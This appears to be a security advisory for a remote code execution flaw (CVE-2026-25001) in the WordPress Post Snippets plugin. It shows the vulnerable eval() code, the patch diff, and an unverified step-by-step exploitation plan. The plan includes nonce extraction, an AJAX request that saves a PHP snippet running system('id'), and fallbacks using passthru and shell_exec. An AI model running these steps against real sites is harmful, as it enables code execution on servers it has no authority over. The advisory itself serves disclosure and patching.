CVE-2026-25001

Post Snippets – Custom WordPress Code Snippets Customizer <= 4.0.12 - Authenticated (Contributor+) Remote Code Execution

highImproper Control of Generation of Code ('Code Injection')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
4.0.13
Patched in
12d
Time to patch

Description

The Post Snippets – Custom WordPress Code Snippets Customizer plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.0.12. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.0.12
PublishedMarch 16, 2026
Last updatedMarch 27, 2026
Affected pluginpost-snippets

What Changed in the Fix

Changes introduced in v4.0.13

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-25001 (Post Snippets RCE) ## 1. Vulnerability Summary The **Post Snippets** plugin (<= 4.0.12) is vulnerable to **Remote Code Execution (RCE)**. The plugin provides functionality to create snippets that can be executed as PHP code via shortcodes. While the "Ma…

Show full research plan

Exploitation Research Plan: CVE-2026-25001 (Post Snippets RCE)

1. Vulnerability Summary

The Post Snippets plugin (<= 4.0.12) is vulnerable to Remote Code Execution (RCE). The plugin provides functionality to create snippets that can be executed as PHP code via shortcodes. While the "Manage Snippets" interface is intended for administrators, the backend AJAX/REST handlers responsible for saving snippets fail to properly enforce high-level capability checks (requiring only edit_posts instead of manage_options). This allows an authenticated Contributor to create or modify snippets, enable PHP execution for them, and then trigger the code by including the corresponding shortcode in a post preview.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: ps_save_snippet (inferred) or post_snippets_save (inferred).
  • Vulnerable Parameter: snippet_content (the PHP code) and snippet_php (the toggle to enable execution).
  • Authentication: Authenticated, Contributor level or higher.
  • Preconditions:
    • The constant POST_SNIPPETS_DISABLE_PHP must not be defined in wp-config.php.
    • The attacker must obtain a valid nonce, typically exposed in the post editor's script localization.

3. Code Flow

  1. Entry Point: A Contributor sends a POST request to admin-ajax.php with the action ps_save_snippet.
  2. Persistence: The backend handler (likely in src/PostSnippets/Admin.php or src/PostSnippets/Edit.php) saves the payload into the {wp_prefix}pspro_snippets table.
    • snippet_title: Name of the shortcode.
    • snippet_content: The PHP payload (e.g., system('id');).
    • snippet_php: Set to 1 (enables eval).
    • snippet_shortcode: Set to 1 (registers it as a shortcode).
    • snippet_status: Set to 1 (active).
  3. Registration: In src/PostSnippets/Shortcode.php, the create() method queries the database for all active snippets with snippet_shortcode = 1. It registers them using add_shortcode().
  4. Trigger: The Contributor creates/edits a post and adds [snippet_title].
  5. Execution:
    • When the post is previewed, do_shortcode() calls the callback in Shortcode.php.
    • evaluateSnippet() identifies snippet_php == 1.
    • It calls phpEval($snippet_content).
    • phpEval() strips PHP tags and calls eval($content), executing the payload.

4. Nonce Acquisition Strategy

The plugin enqueues scripts for its "Post Snippets" editor button, which contains the nonces.

  1. Shortcode Identification: Any standard post editor load should trigger the plugin's WPEditor class to localize script data.
  2. Page Creation:
    wp post create --post_type=post --post_status=draft --post_title="Nonce Grab" --post_author=[CONTRIBUTOR_ID]
    
  3. Navigation: Use the browser to navigate to the edit page for that post: /wp-admin/post.php?post=[POST_ID]&action=edit.
  4. Extraction: Use browser_eval to find the localized nonce. Based on common plugin patterns:
    • Check window.post_snippets_editor?.nonce
    • Check window.ps_admin_vars?.nonce
    • Key Verbatim Guess: post_snippets_editor or ps_vars.

5. Exploitation Strategy

Step 1: Create malicious snippet via AJAX

Tool: http_request
Method: POST
URL: http://localhost:8080/wp-admin/admin-ajax.php
Body (URL-encoded):

action=ps_save_snippet
&nonce=[EXTRACTED_NONCE]
&snippet[snippet_title]=rceshortcode
&snippet[snippet_content]=echo "---START---"; system("id"); echo "---END---";
&snippet[snippet_php]=1
&snippet[snippet_shortcode]=1
&snippet[snippet_status]=1
&snippet[snippet_type]=php

(Note: snippet parameter might be flattened as snippet_title=... depending on the exact Admin.php implementation.)

Step 2: Trigger the RCE

Method: Create a post with the shortcode [rceshortcode] and preview it.
URL: http://localhost:8080/wp-admin/post-new.php?post_type=post&content=[rceshortcode]
Action: The preview functionality will render the shortcode, triggering eval().

6. Test Data Setup

  1. User: Create a Contributor user.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  2. Environment: Ensure the plugin is active and the snippets table exists.
    wp plugin activate post-snippets
    

7. Expected Results

  • The AJAX request should return a success status (e.g., {"success":true}).
  • The preview page should contain the string ---START---uid=...---END---, confirming the system("id") command executed successfully.

8. Verification Steps

  1. Database Check: Verify the snippet was saved with PHP enabled.
    wp db query "SELECT * FROM wp_pspro_snippets WHERE snippet_title = 'rceshortcode'"
    
  2. Audit Log: Check if the snippet_php column is 1.

9. Alternative Approaches

  • REST API: If the AJAX endpoint is patched or fails, attempt the same payload via the REST API (if enabled in free version):
    • POST /wp-json/post-snippets/v1/snippets
  • Snippet Import: If the plugin has an import feature accessible to Contributors (e.g., ps_import_snippets action), upload a JSON file containing the malicious snippet definition.
  • Payload Variance: If system() is disabled, use passthru(), shell_exec(), or print_r(glob('*')) to verify execution.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Post Snippets plugin for WordPress is vulnerable to Remote Code Execution up to version 4.0.12. Authenticated attackers with Contributor-level access or higher can create snippets containing PHP code and enable execution, which is then processed via eval() when the snippet's shortcode is rendered in a post preview or page.

Vulnerable Code

// src/PostSnippets/Shortcode.php:35
    public static function evaluateSnippet($snippet, $atts = array(), $content = null){

        if( !empty($snippet) ){

            $default_atts = self::filterVars( $snippet['snippet_vars'] );

            $texturize = $snippet["snippet_wptexturize"]?? false;

            $short_atts = shortcode_atts( $default_atts, $atts );

            $snippet_content =  $snippet['snippet_content'];

            if ( $content != null ) {
                $short_atts["content"] = $content;
            }
            foreach ($short_atts as $key => $val) {
                $snippet_content = str_replace( "{" . $key . "}", $val, $snippet_content );
            }

            // ... (omitted lines)

            // Handle PHP shortcodes
            if ( $snippet['snippet_php'] == 1 ) {
                $snippet_content = self::phpEval( $snippet_content );

---

// src/PostSnippets/Shortcode.php:98
    public static function phpEval($content)
    {
        if (defined('POST_SNIPPETS_DISABLE_PHP')) {
            return $content;
        }

        $content = stripslashes($content);

        /**Removing Initial PHP Tag */
        $content = ltrim($content, "<?php<?PHP<?=");
        
        ob_start();
        eval($content);
        $content = ob_get_clean();

        return addslashes($content);
    }

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/post-snippets/4.0.12/post-snippets.php /home/deploy/wp-safety.org/data/plugin-versions/post-snippets/4.0.13/post-snippets.php
--- /home/deploy/wp-safety.org/data/plugin-versions/post-snippets/4.0.12/post-snippets.php	2026-01-08 10:43:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/post-snippets/4.0.13/post-snippets.php	2026-02-02 05:06:46.000000000 +0000
@@ -11,7 +11,7 @@
  * Plugin Name: Post Snippets (free)
  * Plugin URI: https://www.postsnippets.com
  * Description: Create a library of reusable content and insert it into your posts and pages. Navigate to "Settings > Post Snippets" to get started.
- * Version: 4.0.12
+ * Version: 4.0.13
  * Author: Postsnippets
  * Author URI: https://www.postsnippets.com
  * License: GPL-2.0+
@@ -133,7 +133,7 @@
         define( 'PS_MAIN_FILE', basename( __FILE__ ) );
     }
     if ( !defined( 'PS_VERSION' ) ) {
-        define( 'PS_VERSION', '4.0.12' );
+        define( 'PS_VERSION', '4.0.13' );
     }
     if ( !defined( 'PS_MAIN_FILE_PATH' ) ) {
         define( 'PS_MAIN_FILE_PATH', __FILE__ );
@@ -298,14 +298,51 @@
             $default_atts = \PostSnippets\Shortcode::filterVars( $snippet['snippet_vars'] );
             $short_atts = shortcode_atts( $default_atts, $variables );
 
+            // Check if PHP execution is enabled for this snippet
+            $is_php_snippet = ( isset($snippet['snippet_php']) && $snippet['snippet_php'] == 1 );
+
+            // Security check: For PHP snippets, verify user has admin privileges BEFORE processing
+            if ( $is_php_snippet && !current_user_can( 'manage_options' ) ) {
+                return '<p><strong>' . esc_html__( 'Error: PHP snippet execution requires administrator privileges.', 'post-snippets' ) . '</strong></p>';
+            }
+
+            $scope_variables = array();
+
+            // Prepare variables for scope injection logic
             if( !empty($short_atts) ){
                 foreach ($short_atts as $key => $val) {
                     if( !empty($val) ){
-                        $snippet_content = str_replace( "{" . $key . "}", $val, $snippet_content );
+                        if ( $is_php_snippet ) {
+                            // For PHP snippets, we DO NOT substitute the value directly.
+                            // Instead, we assign the value to a unique variable and substitute the variable NAME.
+                            // This prevents code injection because the user input is never parsed as code.
+
+                            // Generate a safe variable name based on the key
+                            // We use a prefix to ensure we don't overwrite any internal variables
+                            $safe_key = 'attr_' . preg_replace('/[^a-zA-Z0-9_]/', '_', $key);
+
+                            // Store the value in our scope array
+                            $scope_variables[$safe_key] = $val;
+
+                            // Replace {key} with $safe_key in the snippet content
+                            // e.g. echo "{name}"; becomes echo "$attr_name";
+                            $snippet_content = str_replace( "{" . $key . "}", '$' . $safe_key, $snippet_content );
+                        } else {
+                            // For non-PHP snippets, basic sanitization and standard substitution
+                            $val = sanitize_text_field( $val );
+                            $snippet_content = str_replace( "{" . $key . "}", $val, $snippet_content );
+                        }
                     }
                 }
             }
 
+            // Handle PHP shortcodes
+            if ( $is_php_snippet ) {
+                // Extract the variables into the local scope so the eval'd code can access them
+                // We pass them to phpEval now
+                $snippet_content = \PostSnippets\Shortcode::phpEval( $snippet_content, $scope_variables );
+            }
+
             return do_shortcode( $snippet_content );
         }
 
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/post-snippets/4.0.12/src/PostSnippets/Shortcode.php /home/deploy/wp-safety.org/data/plugin-versions/post-snippets/4.0.13/src/PostSnippets/Shortcode.php
--- /home/deploy/wp-safety.org/data/plugin-versions/post-snippets/4.0.12/src/PostSnippets/Shortcode.php	2022-11-24 07:29:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/post-snippets/4.0.13/src/PostSnippets/Shortcode.php	2026-02-02 05:06:46.000000000 +0000
@@ -40,15 +40,50 @@
                 $short_atts["content"] = $content;
             }
+            // Check if PHP execution is enabled for this snippet
+            $is_php_snippet = ($snippet['snippet_php'] == 1);
+
+            // Security check: For PHP snippets, verify user has admin privileges BEFORE processing
+            if ($is_php_snippet && !current_user_can('manage_options')) {
+                return '<p><strong>' . esc_html__('Error: PHP snippet execution requires administrator privileges.', 'post-snippets') . '</strong></p>';
+            }
+
+            $scope_variables = array();
+
+            // Prepare variables for scope injection logic
             foreach ($short_atts as $key => $val) {
-                $snippet_content = str_replace( "{" . $key . "}", $val, $snippet_content );
+                if ($is_php_snippet) {
+                    $safe_key = 'attr_' . preg_replace('/[^a-zA-Z0-9_]/', '_', $key);
+                    $scope_variables[$safe_key] = $val;
+                    $snippet_content = str_replace("{" . $key . "}", '$' . $safe_key, $snippet_content);
+                } else {
+                    $val = sanitize_text_field($val);
+                    $snippet_content = str_replace("{" . $key . "}", $val, $snippet_content);
+                }
             }
-            if ( $snippet['snippet_php'] == 1 ) {
-                $snippet_content = self::phpEval( $snippet_content );
+            if ($is_php_snippet) {
+                $snippet_content = self::phpEval($snippet_content, $scope_variables);
             }
-    public static function phpEval($content)
+    public static function phpEval($content, $vars = array())
     {
+        if (!empty($vars)) {
+            extract($vars);
+        }
+        eval ($content);
     }

Exploit Outline

The attacker first authenticates with Contributor-level credentials and obtains a valid nonce (typically from the localized script data in the WordPress post editor). Using this nonce, the attacker sends a POST request to admin-ajax.php with the action ps_save_snippet, defining a new snippet with snippet_php set to 1 and snippet_content containing a PHP payload (e.g., system('id');). Because the plugin's snippet saving handler lacks strict permission checks, the snippet is successfully registered. Finally, the attacker creates a post or page containing the shortcode for the newly created snippet and uses the WordPress post preview functionality to trigger the execution of the PHP code on the server.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.